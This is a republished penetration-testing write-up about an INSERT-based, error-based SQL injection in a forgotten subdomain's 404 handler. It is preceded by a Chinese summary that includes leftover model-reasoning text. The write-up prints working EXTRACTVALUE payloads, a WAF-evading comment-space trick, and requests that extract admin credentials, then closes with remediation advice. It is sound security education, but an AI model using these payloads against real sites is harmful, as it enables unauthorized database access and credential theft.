How I Found a Critical SQL Injection in an “Abandoned” Website: Exploiting a Rare Chain of…
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户的要求很明确,不需要特定的开头,直接写描述。 首先,我得通读整篇文章,理解其主要内容。文章讲述的是一个渗透测试案例,发现了一个旧的子域名存在严重的SQL注入漏洞。这个漏洞结合了错误型SQL注入和插入型注入,非常罕见。 接下来,我需要提取关键点:旧子域名、SQL注入漏洞、错误消息泄露信息、手动利用漏洞、数据库完全访问权限、教训包括重视遗留基础设施和安全配置。 然后,我要把这些要点浓缩成一句话,确保不超过100字,并且语言简洁明了。 最后,检查是否符合用户的所有要求,确保没有遗漏重要信息。 </think> 文章讲述了一次渗透测试中发现的罕见SQL注入漏洞案例。攻击者通过一个被遗忘的旧子域名进入系统,利用未 sanit 化的输入和错误消息泄露信息成功注入。该漏洞结合了 Error-Based SQL Injection 和 INSERT-Based 注入,并利用 EXTRACTVALUE() 函数提取数据。最终攻击者获得了数据库的完全访问权限,并揭示了遗留基础设施的安全隐患。 2026-3-13 18:51:0 Author: infosecwriteups.com(查看原文) 阅读量:12 收藏

Eduardo F

When legacy infrastructure becomes your best friend in a pentest

Press enter or click to view image in full size

Before we begin, I want to emphasize this rare finding I discovered on a website.

This type of case is literally 1% of SQLi, it is extremely rare to see this type of failure with multiple factors combined Error-Based SQL Injection (XPATH Injection) + INSERT-Based, so this is the case study.

Error-Based SQL Injection
XPATH Injection
Use of user root in MySQL
EXTRACTVALUE() in production
Error messages enabled
Unsanitized input
Concatenated INSERT
Multi-row
PHP shows errors directly

Introduction

There’s a saying among pentesters: ”The forgotten corners are where the treasure hides.”

During a recent authorized penetration testing engagement, I discovered a critical SQL Injection vulnerability hiding in plain sight — not in the client’s main application, but in an old, “discontinued” subdomain that everyone had forgotten about.

This is the story of how a simple comma led me to dump an entire database, and why your old infrastructure might be your biggest security liability.

The Engagement

I was contracted to perform a security assessment for a web development and hosting company. Their main business had evolved, and they had migrated their primary services to a new domain. However, like many companies, they kept their old web presence online — a legacy site that was essentially a digital ghost town.

Scope: Full web application penetration test

Target: Legacy corporate website (subdomain)

Authorization:

Mapping the Attack Surface: Expanding the Attack Surface Before touching the web application, I started by mapping the organization’s full digital footprint. I performed subdomain fuzzing and DNS enumeration using tools like viewdns.info, Sublist3r, DNSRecon and Amass to uncover assets that weren’t indexed by search engines.

That’s when the target appeared. While the main domain was clean and hosted on modern infrastructure, the fuzzing results pointed to a forgotten development subdomain pointing to a legacy server.

Reconnaissance: The Red Flags

The first thing I noticed during reconnaissance was concerning: the site was bleeding information.

PHP Warnings Everywhere

Simply navigating to certain pages exposed internal server paths:

Warning: Undefined array key “desarrollo” in /home/[REDACTED]/public_html/index.php on line 169

Warning: Cannot modify header information — headers already sent…

PHP warnings in production are a goldmine. They reveal:

Internal file paths

Variable names

Application logic

Broken Links Galore

The site was full of dead ends. Links pointing to pages that no longer existed, PHP files that threw errors, and forms that submitted to nowhere. Each broken link was a potential entry point.

The Cherry on Top: phpinfo()

Yes, phpinfo.php was publicly accessible. I now knew:

PHP version

Loaded modules

Server configuration

Internal paths

At this point, I knew this “abandoned” site was going to be interesting.

The Hunt Begins

Armed with my reconnaissance data, I started testing for common vulnerabilities:

| Vector | Result |

| XSS | Partial (reflected, filtered) |

| LFI/RFI | Blocked |

| IDOR | No accessible endpoints |

| SQL Injection | 🎯 *Bingo* |

The Accidental Discovery

I was fuzzing parameters when I noticed something odd. A request with a malformed URL triggered an unusual error. Specifically, a simple comma in the URL broke something.

The error message revealed:

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;

check the manual that corresponds to your MySQL server version for the right syntax

to use near ‘Entrada directa’, ‘1XX.XXX.XX.XXX’)’ at line 1 in

/home/[REDACTED]/public_html/…./…./error404.php:45

Stack trace:

#0 /home/[REDACTED]/public_html/…./…./error404.php(45): mysqli->query(‘INSERT INTO err…’)

#1 /home/[REDACTED]/public_html/index.php(433): require(‘/home/[REDACTED]/…’)

#2 {main}

thrown in /home/[REDACTED]/public_html/…./…./error404.php on line 45

Press enter or click to view image in full size

Screenshot shows the actual error. IP address and internal paths have been partially redacted.

Wait. My input was being reflected inside what looked like an INSERT statement. And the application was using MySQLi with verbose error reporting enabled.

This was SQL Injection.

Vulnerability Classification

[IMPORTANT]

Type: Error-Based SQL Injection (XPATH Injection) + INSERT-Based

Severity: Critical (CVSS 9.8)

Location: 404 Error Handler (error404.php)

Root Cause: Direct concatenation of `$_SERVER[‘REQUEST_URI’]` into INSERT statement

The vulnerable code was in the error 404 handler. Yes, the page designed to handle non-existent URLs was itself vulnerable.

php

Vulnerable pattern (reconstructed)

$uri = $_SERVER[‘REQUEST_URI’]; // User-controlled input

$query = “INSERT INTO error_log (url, referer, ip) VALUES (‘$uri’, ‘$ref’, ‘$ip’)”;

$mysqli->query($query);

Every 404 error was being logged to the database, and the URL was concatenated directly into the SQL query without any sanitization.

Why Automated Tools Failed

This wasn’t a typical SELECT injection where you can easily use UNION. My first attempt was to use automated tools:

bash

SQLMap — Automatic SQL Injection Tool

sqlmap -u “https://target.com/test“ — batch — level=5 — risk=3

Ghauri — A modern alternative

ghauri -u https://target.com/test — batch

Both failed completely. Here’s why:

| Tool | Why It Failed |

| SQLMap | Uses predefined payloads optimized for SELECT/WHERE injections |

| Ghauri | Same issue — generic payload templates |

The problem was that this vulnerability required a custom-crafted payload specifically designed for:

1. The INSERT statement structure

2. The specific column order

3. Proper syntax balancing with multi-row injection

Automated tools send hundreds of generic payloads, but none matched the exact format needed. Manual exploitation was the only option.

Crafting the Payload

The Technique: Multi-Row INSERT + EXTRACTVALUE

Since I was injecting into an INSERT statement, I needed to:

1. Close the current row properly

2. Inject my malicious query

3. Start a new valid row to fix the syntax

The EXTRACTVALUE() function generates XPATH errors that leak data in the error message. Perfect for error-based extraction.

Initial PoC Payload:

/’,EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)),1),(1,’1

Let me break this down:

| Part | Purpose |

| `/’` | Close the URL string |

| `,EXTRACTVALUE(…)` | Inject our extraction function |

| `,1)` | Complete the current row |

| `,(1,’1` | Start a new row to fix syntax |

The Moment of Truth

GET /…./test.php’,EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)),1),(1,’1 HTTP/1.1

Response:

Fatal error: mysqli_sql_exception: XPATH syntax error: ‘~[REDACTED]_root@localhost~’

🎉 It worked.

Get Eduardo F’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The tilde characters (`~`) from `0x7e` wrapped our extracted data, making it easy to identify in the error message. And the username revealed something critical: the application was running as a root-level database user.

Escalating the Attack

The 32-Character Limit Problem

EXTRACTVALUE() has a limitation: it only returns approximately 32 characters of data. For longer strings (like password hashes), I needed to extract in chunks.

Getting the first 20 characters:

sql
SUBSTRING(pass,1,20)

Getting characters 21–40:

sql
SUBSTRING(pass,21,40)

Real Example: Enumerating Table Columns

Let me show you exactly how I extracted the column structure from the admin table.

Request sent via Burp Suite Repeater:

GET /…./json.php’,EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name=’admin’),0x7e)),1),(1,’1 HTTP/1.1

NOTE:

Notice the `/**/` syntax. This is a comment-based space bypass technique. Some WAFs and filters block traditional spaces in SQL keywords, but `/**/` acts as a valid separator that often evades detection.

Response (Error message leaking data):

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error:
‘~id,nombre,apellidos,user,pass,e’ in /home/[REDACTED]/public_html/…./…./error404.php:45

What this revealed:

| Extracted Columns | Meaning |

| `id` | Primary key |

| `nombre` | First name |

| `apellidos` | Last name |

| `user` | Username |

| `pass` | Password hash |

| `e…` | Truncated (email?) |

Notice how the output was cut off at 32 characters (including the tilde `~`). The actual column list continued with `email, nivel, activo…` but EXTRACTVALUE truncated it. This is why I needed the SUBSTRING technique for longer extractions.

Extracting Credentials: The Chunked Approach

To extract actual credentials, I needed specific payloads:

Step 1: Get username (row 1)

GET /…./json.php’,EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/user/**/FROM/**/admin/**/LIMIT/**/0,1),0x7e)),1),(1,’1 HTTP/1.1

Step 2: Get password hash (first 20 chars)

GET /…./json.php’,EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/SUBSTRING(pass,1,20)/**/FROM/**/admin/**/LIMIT/**/0,1),0x7e)),1),(1,’1 HTTP/1.1

Step 3: Get password hash (chars 21–40)

GET /…./json.php’,EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/SUBSTRING(pass,21,40)/**/FROM/**/admin/**/LIMIT/**/0,1),0x7e)),1),(1,’1 HTTP/1.1

By combining the chunks, I reconstructed the full hash.

Automating with Burp Intruder

Manually extracting each row was tedious. I configured Burp Intruder in Sniper mode to iterate through LIMIT offsets automatically:

`LIMIT 0,1` → First row
`LIMIT 1,1` → Second row
`LIMIT 2,1` → Third row

…and so on

Press enter or click to view image in full size

NOTE

The image shows the results of one of the Burp Intruder columns. Sensitive data has been redacted.

The Full Picture: 70+ Tables Exposed

Using the enumeration technique, I discovered the database contained over 70 tables:

Details:

administrador_recibos
estadísticas código_promocional registro
opiniones correos
anuncios comunicados avisos
bancos_cokies_acceso pagos
boletín datos_acceso interesados
número_dominios proyectos
campanias correos electrónicos solicitudes

… and 50+ more tables

Critical tables identified:

`admin` — Administrator accounts

`credenciales` — User credentials

`clientes` — Client information

`pagos` — Payment records

`facturas` — Invoices

Impact Assessment

| Finding | Severity |

| Full database read access | Critical |

| Access to admin credentials | Critical |

| Root-level DB privileges | High |

| Access to 3 databases (not just one) | High |

The root database user meant that an attacker could potentially:

Read ALL databases on the shared server

Access other clients’ data (in a hosting environment)

Potentially write files to the system

Key Takeaways

For Pentesters

1. Don’t ignore legacy infrastructure. That old subdomain might be your golden ticket.

2. When automated tools fail, go manual. SQLMap and Ghauri couldn’t detect this injection pattern. Manual testing revealed it in minutes.

3. Error messages are your friend. Verbose PHP errors and MySQL exceptions gave me everything I needed.

4. INSERT-based SQLi is underrated. Many testers focus on SELECT. Learn multi-row insert techniques.

For Developers & Companies

1. Delete or secure legacy sites. If you’re not using it, take it offline. “Nobody will find it” is not a security strategy.

2. Never use root credentials for applications. Create dedicated users with minimal required privileges.

3. Disable error display in production. Set `display_errors = Off` in php.ini.

4. Use prepared statements. Always. There’s no excuse in 2024/2026.

php

// The fix is simple

$stmt = $mysqli->prepare(“INSERT INTO error_log (url, ref, ip) VALUES (?, ?, ?)”);

$stmt->bind_param(“sss”, $uri, $ref, $ip);

$stmt->execute();

Timeline

| Date | Action |

| Day 1, 2 | Initial reconnaissance, discovered information leaks |

| Day 3 | Identified SQL Injection in 404 handler |

| Day 4, 5| Developed working exploitation payload |

| Day 6,7,8 | Enumerated database structure |

| Day 9 | Documented findings, submitted report |

| Day 10 | Client acknowledged, remediation in progress |

🧠 The Human Logic: Making the Database “Shout”

This vulnerability was a perfect example of why manual testing still beats automation.

Since this was an INSERT statement, the server acted like a black box—tools like Ghauri and SQLMap tried to break it but got no response, leading to false negatives. The database was simply ignoring standard payloads.

So, I had to force the situation. My logic shifted to: “If the database won’t show me the data willingly, I will make it show it by mistake.”

I used the XPath function to inject a malicious query that acted as an impossible instruction. Essentially, I asked the database to validate the Administrator’s password as if it were a syntax rule.

Because the database engine is strict, it panicked. It couldn’t process the request, so I forced it to “shout” the error. In its attempt to describe what went wrong, the system literally spit out the information I was looking for inside the error message.

It was like forcing someone to read a secret out loud just to tell you it was spelled wrong.

Conclusion

This engagement reinforced something I’ve seen time and time again: companies underestimate the risk of their digital footprint.

That old marketing site from 2015? Still running. That test subdomain from a failed project? Still accessible. That phpinfo page someone forgot to delete? Still leaking server configurations.

Security isn’t just about protecting your main application. It’s about understanding that every forgotten endpoint, every legacy system, every “temporary” test server is a potential entry point for attackers.

Abandoned doesn’t mean invisible. And invisible isn’t secure.

Thanks for reading! If you found this interesting, follow me for more security research and pentesting stories.

Have questions about the techniques used? Drop a comment below.

Disclaimer: This research was conducted under a legal contract with explicit written authorization. Always obtain proper permission before testing any system. Unauthorized access to computer systems is illegal.


文章来源: https://infosecwriteups.com/how-i-found-a-critical-sql-injection-in-an-abandoned-website-exploiting-a-rare-chain-of-10e5e5615b29?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh